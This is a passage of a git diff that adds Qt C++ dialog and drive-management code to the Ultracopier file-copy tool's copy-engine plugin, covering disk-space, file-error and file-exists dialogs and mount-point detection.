+ void setAutoStart(bool autoStart);
+ #ifdef ULTRACOPIER_PLUGIN_RSYNC
+ void setRsync(bool rsync);
+ #endif
+ void setFolderCollision(int index);
+ void setFolderError(int index);
+ void setTransferAlgorithm(int index);
+ void setCheckDestinationFolder();
+ void showFilterDialog();
+ void sendNewFilters(const QStringList &includeStrings,const QStringList &includeOptions,const QStringList &excludeStrings,const QStringList &excludeOptions);
+ void doChecksum_toggled(bool);
+ void checksumOnlyOnError_toggled(bool);
+ void osBuffer_toggled(bool);
+ void osBufferLimited_toggled(bool);
+ void osBufferLimit_editingFinished();
+ void checksumIgnoreIfImpossible_toggled(bool);
+ void sendNewRenamingRules(const QString &firstRenamingRule, const QString &otherRenamingRule);
+ void showRenamingRules();
+ void updateBufferCheckbox();
+ void setFileCollision(int index);
+ void setFileError(int index);
+ void updatedBlockSize();
+ void deletePartiallyTransferredFiles(bool checked);
+ void renameTheOriginalDestination(bool checked);
+ void checkDiskSpace(bool checked);
+ void defaultDestinationFolderBrowse();
+ void defaultDestinationFolder();
+ void followTheStrictOrder(bool checked);
+ void moveTheWholeFolder(bool checked);
+ void on_inodeThreads_editingFinished();
+ void copyListOrder(bool checked);
+public slots:
+ void resetOptions();
+ void newLanguageLoaded();
+signals:
+ void reloadLanguage() const;
+};
+
+#endif // FACTORY_H
diff --git a/plugins/CopyEngine/Ultracopier/DebugDialog.cpp b/plugins/CopyEngine/Ultracopier/DebugDialog.cpp
new file mode 100644
index 0000000..a20f054
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/DebugDialog.cpp
@@ -0,0 +1,44 @@
+/** \file debugDialog.cpp
+\brief Define the dialog to have debug information
+\author alpha_one_x86 */
+
+#include "DebugDialog.h"
+#include "ui_debugDialog.h"
+
+#ifdef ULTRACOPIER_PLUGIN_DEBUG_WINDOW
+
+DebugDialog::DebugDialog(QWidget *parent) :
+ QWidget(parent),
+ ui(new Ui::debugDialog)
+{
+ ui->setupUi(this);
+}
+
+DebugDialog::~DebugDialog()
+{
+ delete ui;
+}
+
+void DebugDialog::setTransferList(const QStringList &list)
+{
+ ui->tranferList->clear();
+ ui->tranferList->addItems(list);
+}
+
+void DebugDialog::setActiveTransfer(const int &activeTransfer)
+{
+ ui->spinBoxActiveTransfer->setValue(activeTransfer);
+}
+
+void DebugDialog::setInodeUsage(const int &inodeUsage)
+{
+ ui->spinBoxNumberOfInode->setValue(inodeUsage);
+}
+
+void DebugDialog::setTransferThreadList(const QStringList &list)
+{
+ ui->transferThreadList->clear();
+ ui->transferThreadList->addItems(list);
+}
+
+#endif
diff --git a/plugins/CopyEngine/Ultracopier/DebugDialog.h b/plugins/CopyEngine/Ultracopier/DebugDialog.h
new file mode 100644
index 0000000..d2b1d6b
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/DebugDialog.h
@@ -0,0 +1,39 @@
+/** \file debugDialog.h
+\brief Define the dialog to have debug information
+\author alpha_one_x86
+\licence GPL3, see the file COPYING */
+
+#ifndef DEBUGDAILOG_H
+#define DEBUGDAILOG_H
+
+#include "Environment.h"
+
+#ifdef ULTRACOPIER_PLUGIN_DEBUG_WINDOW
+#include <QWidget>
+
+namespace Ui {
+ class debugDialog;
+}
+
+/// \brief class to the dialog to have debug information
+class DebugDialog : public QWidget
+{
+ Q_OBJECT
+public:
+ explicit DebugDialog(QWidget *parent = 0);
+ ~DebugDialog();
+ /// \brief to set the transfer list, limited in result to not slow down the application
+ void setTransferList(const QStringList &list);
+ /// \brief show the transfer thread, it show be a thread pool in normal time
+ void setTransferThreadList(const QStringList &list);
+ /// \brief show how many transfer is active
+ void setActiveTransfer(const int &activeTransfer);
+ /// \brief show many many inode is manipulated
+ void setInodeUsage(const int &inodeUsage);
+private:
+ Ui::debugDialog *ui;
+};
+
+#endif // ULTRACOPIER_PLUGIN_DEBUG_WINDOW
+
+#endif // DEBUGDAILOG_H
diff --git a/plugins-alternative/CopyEngine/Rsync/DebugEngineMacro.h b/plugins/CopyEngine/Ultracopier/DebugEngineMacro.h
index ad08d4f..f9b5349 100644
--- a/plugins-alternative/CopyEngine/Rsync/DebugEngineMacro.h
+++ b/plugins/CopyEngine/Ultracopier/DebugEngineMacro.h
@@ -1,12 +1,15 @@
/** \file DebugEngineMacro.h
\brief Define the macro for the debug
\author alpha_one_x86
-\version 0.3
-\date 2010 */
+\licence GPL3, see the file COPYING */
#ifndef DEBUGENGINEMACRO_H
#define DEBUGENGINEMACRO_H
+#ifdef WIN32
+# define __func__ __FUNCTION__
+#endif
+
/// \brief Macro for the debug log
#ifdef ULTRACOPIER_PLUGIN_DEBUG
#if defined (__FILE__) && defined (__LINE__)
diff --git a/plugins/CopyEngine/Ultracopier/DiskSpace.cpp b/plugins/CopyEngine/Ultracopier/DiskSpace.cpp
new file mode 100644
index 0000000..2b8fec7
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/DiskSpace.cpp
@@ -0,0 +1,53 @@
+#include "DiskSpace.h"
+#include "ui_DiskSpace.h"
+#include "StructEnumDefinition_CopyEngine.h"
+
+DiskSpace::DiskSpace(FacilityInterface * facilityEngine,QList<Diskspace> list,QWidget *parent) :
+ QDialog(parent),
+ ui(new Ui::DiskSpace)
+{
+ Qt::WindowFlags flags = windowFlags();
+ #ifdef Q_OS_LINUX
+ flags=flags & ~Qt::X11BypassWindowManagerHint;
+ #endif
+ flags=flags | Qt::WindowStaysOnTopHint;
+ setWindowFlags(flags);
+
+ ui->setupUi(this);
+ ok=false;
+ int index=0;
+ int size=list.size();
+ QString drives;
+ while(index<size)
+ {
+ drives+=tr("Drives %1 have %2 available but need %3")
+ .arg(list.at(index).drive)
+ .arg(facilityEngine->sizeToString(list.at(index).freeSpace))
+ .arg(facilityEngine->sizeToString(list.at(index).requiredSpace));
+ drives+=QStringLiteral("<br />");
+ index++;
+ }
+ ui->drives->setText(drives);
+}
+
+DiskSpace::~DiskSpace()
+{
+ delete ui;
+}
+
+void DiskSpace::on_ok_clicked()
+{
+ ok=true;
+ close();
+}
+
+void DiskSpace::on_cancel_clicked()
+{
+ ok=false;
+ close();
+}
+
+bool DiskSpace::getAction() const
+{
+ return ok;
+}
diff --git a/plugins/CopyEngine/Ultracopier/DiskSpace.h b/plugins/CopyEngine/Ultracopier/DiskSpace.h
new file mode 100644
index 0000000..7d52b52
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/DiskSpace.h
@@ -0,0 +1,28 @@
+#ifndef DISKSPACE_H
+#define DISKSPACE_H
+
+#include <QDialog>
+#include "../../../interface/PluginInterface_CopyEngine.h"
+#include "StructEnumDefinition_CopyEngine.h"
+
+namespace Ui {
+class DiskSpace;
+}
+
+class DiskSpace : public QDialog
+{
+ Q_OBJECT
+
+public:
+ explicit DiskSpace(FacilityInterface * facilityEngine,QList<Diskspace> list,QWidget *parent = 0);
+ ~DiskSpace();
+ bool getAction() const;
+private slots:
+ void on_ok_clicked();
+ void on_cancel_clicked();
+private:
+ Ui::DiskSpace *ui;
+ bool ok;
+};
+
+#endif // DISKSPACE_H
diff --git a/plugins/CopyEngine/Ultracopier/DiskSpace.ui b/plugins/CopyEngine/Ultracopier/DiskSpace.ui
new file mode 100644
index 0000000..10b5c69
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/DiskSpace.ui
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<ui version="4.0">
+ <class>DiskSpace</class>
+ <widget class="QDialog" name="DiskSpace">
+ <property name="geometry">
+ <rect>
+ <x>0</x>
+ <y>0</y>
+ <width>367</width>
+ <height>146</height>
+ </rect>
+ </property>
+ <property name="windowTitle">
+ <string>Disk space</string>
+ </property>
+ <property name="windowIcon">
+ <iconset resource="copyEngineResources.qrc">
+ <normaloff>:/CopyEngine/Ultracopier/resources/remove.png</normaloff>:/CopyEngine/Ultracopier/resources/remove.png</iconset>
+ </property>
+ <layout class="QVBoxLayout" name="verticalLayout">
+ <item>
+ <widget class="QLabel" name="label">
+ <property name="text">
+ <string>You need more space on this drive to finish this transfer</string>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <widget class="QTextBrowser" name="drives"/>
+ </item>
+ <item>
+ <layout class="QHBoxLayout" name="horizontalLayout">
+ <item>
+ <spacer name="horizontalSpacer">
+ <property name="orientation">
+ <enum>Qt::Horizontal</enum>
+ </property>
+ <property name="sizeHint" stdset="0">
+ <size>
+ <width>40</width>
+ <height>20</height>
+ </size>
+ </property>
+ </spacer>
+ </item>
+ <item>
+ <widget class="QPushButton" name="ok">
+ <property name="text">
+ <string>Continue</string>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <widget class="QPushButton" name="cancel">
+ <property name="text">
+ <string>Cancel</string>
+ </property>
+ </widget>
+ </item>
+ </layout>
+ </item>
+ </layout>
+ </widget>
+ <resources>
+ <include location="copyEngineResources.qrc"/>
+ </resources>
+ <connections/>
+</ui>
diff --git a/plugins/CopyEngine/Ultracopier/DriveManagement.cpp b/plugins/CopyEngine/Ultracopier/DriveManagement.cpp
new file mode 100644
index 0000000..221b4e8
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/DriveManagement.cpp
@@ -0,0 +1,102 @@
+#include "DriveManagement.h"
+
+#include <QDir>
+#include <QFileInfoList>
+#include <QStorageInfo>
+
+DriveManagement::DriveManagement()
+{
+ tryUpdate();
+ #ifdef Q_OS_WIN32
+ reg1=QRegularExpression(QStringLiteral("^(\\\\\\\\|//)[^\\\\\\\\/]+(\\\\|/)[^\\\\\\\\/]+"));
+ reg2=QRegularExpression(QStringLiteral("^((\\\\\\\\|//)[^\\\\\\\\/]+(\\\\|/)[^\\\\\\\\/]+).*$"));
+ reg3=QRegularExpression(QStringLiteral("^[a-zA-Z]:[\\\\/]"));
+ reg4=QRegularExpression(QStringLiteral("^([a-zA-Z]:[\\\\/]).*$"));
+ #endif
+ /// \warn ULTRACOPIER_DEBUGCONSOLE() don't work here because the sinal slot is not connected!
+}
+
+//get drive of an file or folder
+QString DriveManagement::getDrive(const QString &fileOrFolder) const
+{
+ const QString &inode=QDir::toNativeSeparators(fileOrFolder);
+ int size=mountSysPoint.size();
+ for (int i = 0; i < size; ++i) {
+ if(inode.startsWith(mountSysPoint.at(i)))
+ return QDir::toNativeSeparators(mountSysPoint.at(i));
+ }
+ #ifdef Q_OS_WIN32
+ if(fileOrFolder.contains(reg1))
+ {
+ QString returnString=fileOrFolder;
+ returnString.replace(reg2,QStringLiteral("\\1"));
+ return returnString;
+ }
+ //due to lack of WMI support into mingw, the new drive event is never called, this is a workaround
+ if(fileOrFolder.contains(reg3))
+ {
+ QString returnString=fileOrFolder;
+ returnString.replace(reg4,QStringLiteral("\\1"));
+ return QDir::toNativeSeparators(returnString).toUpper();
+ }
+ #endif
+ //if unable to locate the right mount point
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("unable to locate the right mount point for: %1, mount point: %2").arg(fileOrFolder).arg(mountSysPoint.join(";")));
+ return QString();
+}
+
+QByteArray DriveManagement::getDriveType(const QString &drive) const
+{
+ int index=mountSysPoint.indexOf(drive);
+ if(index!=-1)
+ return driveType.at(index);
+ return QByteArray();
+}
+
+bool DriveManagement::isSameDrive(const QString &file1,const QString &file2) const
+{
+ if(mountSysPoint.size()==0)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("no mount point found"));
+ return false;
+ }
+ const QString &drive1=getDrive(file1);
+ if(drive1.isEmpty())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("drive for the file1 not found: %1").arg(file1));
+ return false;
+ }
+ const QString &drive2=getDrive(file2);
+ if(drive2.isEmpty())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("drive for the file2 not found: %1").arg(file2));
+ return false;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("%1 is egal to %2?").arg(drive1).arg(drive2));
+ if(drive1==drive2)
+ return true;
+ else
+ return false;
+}
+
+void DriveManagement::tryUpdate()
+{
+ mountSysPoint.clear();
+ driveType.clear();
+ const QList<QStorageInfo> mountedVolumesList=QStorageInfo::mountedVolumes();
+ int index=0;
+ while(index<mountedVolumesList.size())
+ {
+ mountSysPoint << QDir::toNativeSeparators(mountedVolumesList.at(index).rootPath());
+ #ifdef Q_OS_WIN32
+ if(mountSysPoint.last()!="A:\\" && mountSysPoint.last()!="A:/" && mountSysPoint.last()!="A:" && mountSysPoint.last()!="A" &&
+ mountSysPoint.last()!="a:\\" && mountSysPoint.last()!="a:/" && mountSysPoint.last()!="a:" && mountSysPoint.last()!="a")
+ driveType << mountedVolumesList.at(index).fileSystemType();
+ else
+ driveType << QByteArray();
+ #else
+ driveType << mountedVolumesList.at(index).fileSystemType();
+ #endif
+ index++;
+ }
+}
diff --git a/plugins/CopyEngine/Ultracopier/DriveManagement.h b/plugins/CopyEngine/Ultracopier/DriveManagement.h
new file mode 100644
index 0000000..765a753
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/DriveManagement.h
@@ -0,0 +1,34 @@
+#ifndef DRIVEMANAGEMENT_H
+#define DRIVEMANAGEMENT_H
+
+#include <QObject>
+#include <QString>
+#include <QStringList>
+#include <QRegularExpression>
+#include <QStorageInfo>
+#include <QTimer>
+
+#include "Environment.h"
+
+class DriveManagement : public QObject
+{
+ Q_OBJECT
+public:
+ explicit DriveManagement();
+ bool isSameDrive(const QString &file1,const QString &file2) const;
+ /// \brief get drive of an file or folder
+ QString getDrive(const QString &fileOrFolder) const;
+ QByteArray getDriveType(const QString &drive) const;
+ void tryUpdate();
+protected:
+ QStringList mountSysPoint;
+ QList<QByteArray> driveType;
+ #ifdef Q_OS_WIN32
+ QRegularExpression reg1,reg2,reg3,reg4;
+ #endif
+signals:
+ /// \brief To debug source
+ void debugInformation(const Ultracopier::DebugLevel &level,const QString &fonction,const QString &text,const QString &file,const int &ligne) const;
+};
+
+#endif // DRIVEMANAGEMENT_H
diff --git a/plugins-alternative/CopyEngine/Rsync/Environment.h b/plugins/CopyEngine/Ultracopier/Environment.h
index 7ac6f16..34db2a2 100644
--- a/plugins-alternative/CopyEngine/Rsync/Environment.h
+++ b/plugins/CopyEngine/Ultracopier/Environment.h
@@ -1,8 +1,7 @@
/** \file Environment.h
\brief Define the environment variable and global function
\author alpha_one_x86
-\version 0.3
-\date 2010 */
+\licence GPL3, see the file COPYING */
#include "Variable.h"
/// \brief The global include
diff --git a/plugins/CopyEngine/Ultracopier/FileErrorDialog.cpp b/plugins/CopyEngine/Ultracopier/FileErrorDialog.cpp
new file mode 100644
index 0000000..736cfeb
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/FileErrorDialog.cpp
@@ -0,0 +1,163 @@
+#include "FileErrorDialog.h"
+#include "ui_fileErrorDialog.h"
+#include "TransferThread.h"
+
+#include <QString>
+
+bool FileErrorDialog::isInAdmin=false;
+
+FileErrorDialog::FileErrorDialog(QWidget *parent, QFileInfo fileInfo, QString errorString, const ErrorType &errorType) :
+ QDialog(parent),
+ ui(new Ui::fileErrorDialog)
+{
+ Qt::WindowFlags flags = windowFlags();
+ #ifdef Q_OS_LINUX
+ flags=flags & ~Qt::X11BypassWindowManagerHint;
+ #endif
+ flags=flags | Qt::WindowStaysOnTopHint;
+ setWindowFlags(flags);
+
+ ui->setupUi(this);
+ action=FileError_Cancel;
+ ui->label_error->setText(errorString);
+ if(fileInfo.exists())
+ {
+ ui->label_content_file_name->setText(TransferThread::resolvedName(fileInfo));
+ if(ui->label_content_file_name->text().isEmpty())
+ {
+ ui->label_content_file_name->setText(fileInfo.absoluteFilePath());
+ ui->label_folder->setVisible(false);
+ ui->label_content_folder->setVisible(false);
+ }
+ else
+ {
+ QString folder=fileInfo.absolutePath();
+ if(folder.size()>80)
+ folder=folder.mid(0,38)+"..."+folder.mid(folder.size()-38);
+ ui->label_content_folder->setText(fileInfo.absolutePath());
+ }
+ ui->label_content_size->setText(QString::number(fileInfo.size()));
+ QDateTime maxTime(QDate(ULTRACOPIER_PLUGIN_MINIMALYEAR,1,1));
+ if(maxTime<fileInfo.lastModified())
+ {
+ ui->label_modified->setVisible(true);
+ ui->label_content_modified->setVisible(true);
+ ui->label_content_modified->setText(fileInfo.lastModified().toString());
+ }
+ else
+ {
+ ui->label_modified->setVisible(false);
+ ui->label_content_modified->setVisible(false);
+ }
+ if(fileInfo.isDir())
+ {
+ this->setWindowTitle(tr("Error on folder"));
+ ui->label_size->hide();
+ ui->label_content_size->hide();
+ ui->label_file_name->setText(tr("Folder name"));
+ }
+ ui->label_file_destination->setVisible(fileInfo.isSymLink());
+ ui->label_content_file_destination->setVisible(fileInfo.isSymLink());
+ if(fileInfo.isSymLink())
+ ui->label_content_file_destination->setText(fileInfo.symLinkTarget());
+ }
+ else
+ {
+ ui->label_content_file_name->setText(TransferThread::resolvedName(fileInfo));
+ if(ui->label_content_file_name->text().isEmpty())
+ {
+ ui->label_content_file_name->setText(fileInfo.absoluteFilePath());
+ ui->label_folder->setVisible(false);
+ ui->label_content_folder->setVisible(false);
+ }
+ else
+ ui->label_content_folder->setText(fileInfo.absolutePath());
+
+ ui->label_file_destination->hide();
+ ui->label_content_file_destination->hide();
+ ui->label_size->hide();
+ ui->label_content_size->hide();
+ ui->label_modified->hide();
+ ui->label_content_modified->hide();
+ }
+ if(errorType==ErrorType_Folder || errorType==ErrorType_FolderWithRety)
+ ui->PutToBottom->hide();
+ if(errorType==ErrorType_Folder)
+ ui->Retry->hide();
+
+ ui->Rights->hide();
+ #ifdef ULTRACOPIER_PLUGIN_RIGHTS
+ if(isInAdmin)
+ ui->Rights->hide();
+ #ifdef Q_OS_WIN32
+ if(errorType!=ErrorType_Rights)
+ ui->Rights->hide();
+ #else
+ ui->Rights->hide();
+ #endif
+ #else
+ ui->Rights->hide();
+ #endif
+}
+
+FileErrorDialog::~FileErrorDialog()
+{
+ delete ui;
+}
+
+void FileErrorDialog::changeEvent(QEvent *e)
+{
+ QWidget::changeEvent(e);
+ switch (e->type()) {
+ case QEvent::LanguageChange:
+ ui->retranslateUi(this);
+ break;
+ default:
+ break;
+ }
+}
+
+void FileErrorDialog::on_PutToBottom_clicked()
+{
+ action=FileError_PutToEndOfTheList;
+ this->close();
+}
+
+void FileErrorDialog::on_Retry_clicked()
+{
+ action=FileError_Retry;
+ this->close();
+}
+
+void FileErrorDialog::on_Skip_clicked()
+{
+ action=FileError_Skip;
+ this->close();
+}
+
+void FileErrorDialog::on_Cancel_clicked()
+{
+ action=FileError_Cancel;
+ this->close();
+}
+
+bool FileErrorDialog::getAlways()
+{
+ return ui->checkBoxAlways->isChecked();
+}
+
+FileErrorAction FileErrorDialog::getAction()
+{
+ return action;
+}
+
+void FileErrorDialog::on_checkBoxAlways_clicked()
+{
+ ui->Rights->setEnabled(!ui->checkBoxAlways->isChecked());
+}
+
+#ifdef ULTRACOPIER_PLUGIN_RIGHTS
+void FileErrorDialog::on_Rights_clicked()
+{
+}
+#endif
diff --git a/plugins/CopyEngine/Ultracopier/FileErrorDialog.h b/plugins/CopyEngine/Ultracopier/FileErrorDialog.h
new file mode 100644
index 0000000..09a481e
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/FileErrorDialog.h
@@ -0,0 +1,51 @@
+/** \file fileErrorDialog.h
+\brief Define the dialog error on the file
+\author alpha_one_x86
+\licence GPL3, see the file COPYING */
+
+#include <QDialog>
+#include <QWidget>
+#include <QString>
+#include <QDateTime>
+#include <QFileInfo>
+#include "Environment.h"
+
+#ifndef FILEERRORDIALOG_H
+#define FILEERRORDIALOG_H
+
+
+
+namespace Ui {
+ class fileErrorDialog;
+}
+
+/// \brief to show error dialog, and ask what do
+class FileErrorDialog : public QDialog
+{
+ Q_OBJECT
+public:
+ /// \brief create the object and pass all the informations to it
+ explicit FileErrorDialog(QWidget *parent,QFileInfo fileInfo,QString errorString,const ErrorType &errorType);
+ ~FileErrorDialog();
+ /// \brief return the the always checkbox is checked
+ bool getAlways();
+ /// \brief return the action clicked
+ FileErrorAction getAction();
+protected:
+ void changeEvent(QEvent *e);
+ static bool isInAdmin;
+private slots:
+ void on_PutToBottom_clicked();
+ void on_Retry_clicked();
+ void on_Skip_clicked();
+ void on_Cancel_clicked();
+ void on_checkBoxAlways_clicked();
+ #ifdef ULTRACOPIER_PLUGIN_RIGHTS
+ void on_Rights_clicked();
+ #endif
+private:
+ Ui::fileErrorDialog *ui;
+ FileErrorAction action;
+};
+
+#endif // FILEERRORDIALOG_H
diff --git a/plugins/CopyEngine/Ultracopier/FileExistsDialog.cpp b/plugins/CopyEngine/Ultracopier/FileExistsDialog.cpp
new file mode 100644
index 0000000..0e3ca78
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/FileExistsDialog.cpp
@@ -0,0 +1,238 @@
+#include "FileExistsDialog.h"
+#include "ui_fileExistsDialog.h"
+#include "TransferThread.h"
+
+#include <QRegularExpression>
+#include <QFileInfo>
+#include <QMessageBox>
+
+FileExistsDialog::FileExistsDialog(QWidget *parent,QFileInfo source,QFileInfo destination,QString firstRenamingRule,QString otherRenamingRule) :
+ QDialog(parent),
+ ui(new Ui::fileExistsDialog)
+{
+ Qt::WindowFlags flags = windowFlags();
+ #ifdef Q_OS_LINUX
+ flags=flags & ~Qt::X11BypassWindowManagerHint;
+ #endif
+ flags=flags | Qt::WindowStaysOnTopHint;
+ setWindowFlags(flags);
+
+ ui->setupUi(this);
+ action=FileExists_Cancel;
+ destinationInfo=destination;
+ oldName=TransferThread::resolvedName(destination);
+ ui->lineEditNewName->setText(oldName);
+ ui->lineEditNewName->setPlaceholderText(oldName);
+ ui->Overwrite->addAction(ui->actionOverwrite_if_newer);
+ ui->Overwrite->addAction(ui->actionOverwrite_if_not_same_modification_date);
+ ui->label_content_source_size->setText(QString::number(source.size()));
+ ui->label_content_source_modified->setText(source.lastModified().toString());
+ ui->label_content_source_file_name->setText(TransferThread::resolvedName(source));
+ QString folder=source.absolutePath();
+ if(folder.size()>80)
+ folder=folder.mid(0,38)+"..."+folder.mid(folder.size()-38);
+ ui->label_content_source_folder->setText(folder);
+ ui->label_content_destination_size->setText(QString::number(destination.size()));
+ ui->label_content_destination_modified->setText(destination.lastModified().toString());
+ ui->label_content_destination_file_name->setText(TransferThread::resolvedName(destination));
+ folder=destination.absolutePath();
+ if(folder.size()>80)
+ folder=folder.mid(0,38)+"..."+folder.mid(folder.size()-38);
+ ui->label_content_destination_folder->setText(folder);
+ QDateTime maxTime(QDate(ULTRACOPIER_PLUGIN_MINIMALYEAR,1,1));
+ if(maxTime<source.lastModified())
+ {
+ ui->label_source_modified->setVisible(true);
+ ui->label_content_source_modified->setVisible(true);
+ ui->label_content_source_modified->setText(source.lastModified().toString());
+ }
+ else
+ {
+ ui->label_source_modified->setVisible(false);
+ ui->label_content_source_modified->setVisible(false);
+ }
+ if(maxTime<destination.lastModified())
+ {
+ ui->label_destination_modified->setVisible(true);
+ ui->label_content_destination_modified->setVisible(true);
+ ui->label_content_destination_modified->setText(destination.lastModified().toString());
+ }
+ else
+ {
+ ui->label_destination_modified->setVisible(false);
+ ui->label_content_destination_modified->setVisible(false);
+ }
+ if(!source.exists())
+ {
+ ui->label_content_source_size->setVisible(false);
+ ui->label_source_size->setVisible(false);
+ ui->label_source_modified->setVisible(false);
+ ui->label_content_source_modified->setVisible(false);
+ }
+ if(!destination.exists())
+ {
+ ui->label_content_destination_size->setVisible(false);
+ ui->label_destination_size->setVisible(false);
+ ui->label_destination_modified->setVisible(false);
+ ui->label_content_destination_modified->setVisible(false);
+ }
+ this->firstRenamingRule=firstRenamingRule;
+ this->otherRenamingRule=otherRenamingRule;
+ on_SuggestNewName_clicked();
+}
+
+FileExistsDialog::~FileExistsDialog()
+{
+ delete ui;
+}
+
+void FileExistsDialog::changeEvent(QEvent *e)
+{
+ QWidget::changeEvent(e);
+ switch (e->type()) {
+ case QEvent::LanguageChange:
+ ui->retranslateUi(this);
+ break;
+ default:
+ break;
+ }
+}
+
+QString FileExistsDialog::getNewName()
+{
+ if(oldName==ui->lineEditNewName->text() || ui->checkBoxAlways->isChecked())
+ return oldName;
+ else
+ return ui->lineEditNewName->text();
+}
+
+void FileExistsDialog::on_SuggestNewName_clicked()
+{
+ QFileInfo destinationInfo=this->destinationInfo;
+ QString absolutePath=destinationInfo.absolutePath();
+ QString fileName=TransferThread::resolvedName(destinationInfo);
+ QString suffix="";
+ QString destination;
+ QString newFileName;
+ //resolv the suffix
+ if(fileName.contains(QRegularExpression(QStringLiteral("^(.*)(\\.[a-z0-9]+)$"))))
+ {
+ suffix=fileName;
+ suffix.replace(QRegularExpression(QStringLiteral("^(.*)(\\.[a-z0-9]+)$")),QStringLiteral("\\2"));
+ fileName.replace(QRegularExpression(QStringLiteral("^(.*)(\\.[a-z0-9]+)$")),QStringLiteral("\\1"));
+ }
+ //resolv the new name
+ int num=1;
+ do
+ {
+ if(num==1)
+ {
+ if(firstRenamingRule==QStringLiteral(""))
+ newFileName=tr("%1 - copy").arg(fileName);
+ else
+ {
+ newFileName=firstRenamingRule;
+ newFileName.replace("%name%",fileName);
+ }
+ }
+ else
+ {
+ if(otherRenamingRule=="")
+ newFileName=tr("%1 - copy (%2)").arg(fileName).arg(num);
+ else
+ {
+ newFileName=otherRenamingRule;
+ newFileName.replace(QStringLiteral("%name%"),fileName);
+ newFileName.replace(QStringLiteral("%number%"),QString::number(num));
+ }
+ }
+ destination=absolutePath+QDir::separator()+newFileName+suffix;
+ destinationInfo.setFile(destination);
+ num++;
+ }
+ while(destinationInfo.exists());
+ ui->lineEditNewName->setText(newFileName+suffix);
+}
+
+void FileExistsDialog::on_Rename_clicked()
+{
+ action=FileExists_Rename;
+ this->close();
+}
+
+void FileExistsDialog::on_Overwrite_clicked()
+{
+ action=FileExists_Overwrite;
+ this->close();
+}
+
+void FileExistsDialog::on_Skip_clicked()
+{
+ action=FileExists_Skip;
+ this->close();
+}
+
+void FileExistsDialog::on_Cancel_clicked()
+{
+ action=FileExists_Cancel;
+ this->close();
+}
+
+void FileExistsDialog::on_actionOverwrite_if_newer_triggered()
+{
+ action=FileExists_OverwriteIfNewer;
+ this->close();
+}
+
+void FileExistsDialog::on_actionOverwrite_if_not_same_modification_date_triggered()
+{
+ action=FileExists_OverwriteIfNotSame;
+ this->close();
+}
+
+FileExistsAction FileExistsDialog::getAction()
+{
+ return action;
+}
+
+bool FileExistsDialog::getAlways()
+{
+ return ui->checkBoxAlways->isChecked();
+}
+
+void FileExistsDialog::updateRenameButton()
+{
+ ui->Rename->setEnabled(ui->checkBoxAlways->isChecked() || (!ui->lineEditNewName->text().contains(QRegularExpression("[/\\\\\\*]")) && oldName!=ui->lineEditNewName->text() && !ui->lineEditNewName->text().isEmpty()));
+}
+
+void FileExistsDialog::on_checkBoxAlways_toggled(bool checked)
+{
+ Q_UNUSED(checked);
+ updateRenameButton();
+}
+
+void FileExistsDialog::on_lineEditNewName_textChanged(const QString &arg1)
+{
+ Q_UNUSED(arg1);
+ updateRenameButton();
+}
+
+void FileExistsDialog::on_lineEditNewName_returnPressed()
+{
+ updateRenameButton();
+ if(ui->Rename->isEnabled())
+ on_Rename_clicked();
+ else
+ QMessageBox::warning(this,tr("Error"),tr("Try rename with using special characters"));
+}
+
+void FileExistsDialog::on_actionOverwrite_if_older_triggered()
+{
+ action=FileExists_OverwriteIfOlder;
+ this->close();
+}
+
+void FileExistsDialog::on_lineEditNewName_editingFinished()
+{
+ updateRenameButton();
+}
diff --git a/plugins/CopyEngine/Ultracopier/FileExistsDialog.h b/plugins/CopyEngine/Ultracopier/FileExistsDialog.h
new file mode 100644
index 0000000..c637e3b
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/FileExistsDialog.h
@@ -0,0 +1,60 @@
+/** \file fileExistsDialog.h
+\brief Define the dialog when file already exists
+\author alpha_one_x86
+\licence GPL3, see the file COPYING */
+
+#include <QDialog>
+#include <QWidget>
+#include <QString>
+#include <QDateTime>
+#include <QFileInfo>
+#include <QDir>
+#include "Environment.h"
+
+#ifndef FILEEXISTSDIALOG_H
+#define FILEEXISTSDIALOG_H
+
+namespace Ui {
+ class fileExistsDialog;
+}
+
+/// \brief to show file exists dialog, and ask what do
+class FileExistsDialog : public QDialog
+{
+ Q_OBJECT
+public:
+ /// \brief create the object and pass all the informations to it
+ explicit FileExistsDialog(QWidget *parent,QFileInfo source,QFileInfo destination,QString firstRenamingRule,QString otherRenamingRule);
+ ~FileExistsDialog();
+ /// \brief return the the always checkbox is checked
+ bool getAlways();
+ /// \brief return the action clicked
+ FileExistsAction getAction();
+ /// \brief return the new rename is case in manual renaming
+ QString getNewName();
+protected:
+ void changeEvent(QEvent *e);
+private slots:
+ void on_SuggestNewName_clicked();
+ void on_Rename_clicked();
+ void on_Overwrite_clicked();
+ void on_Skip_clicked();
+ void on_Cancel_clicked();
+ void on_actionOverwrite_if_newer_triggered();
+ void on_actionOverwrite_if_not_same_modification_date_triggered();
+ void updateRenameButton();
+ void on_checkBoxAlways_toggled(bool checked);
+ void on_lineEditNewName_textChanged(const QString &arg1);
+ void on_lineEditNewName_returnPressed();
+ void on_actionOverwrite_if_older_triggered();
+ void on_lineEditNewName_editingFinished();
+private:
+ Ui::fileExistsDialog *ui;
+ FileExistsAction action;
+ QString oldName;
+ QFileInfo destinationInfo;
+ QString firstRenamingRule;
+ QString otherRenamingRule;
+};
+
+#endif // FILEEXISTSDIALOG_H
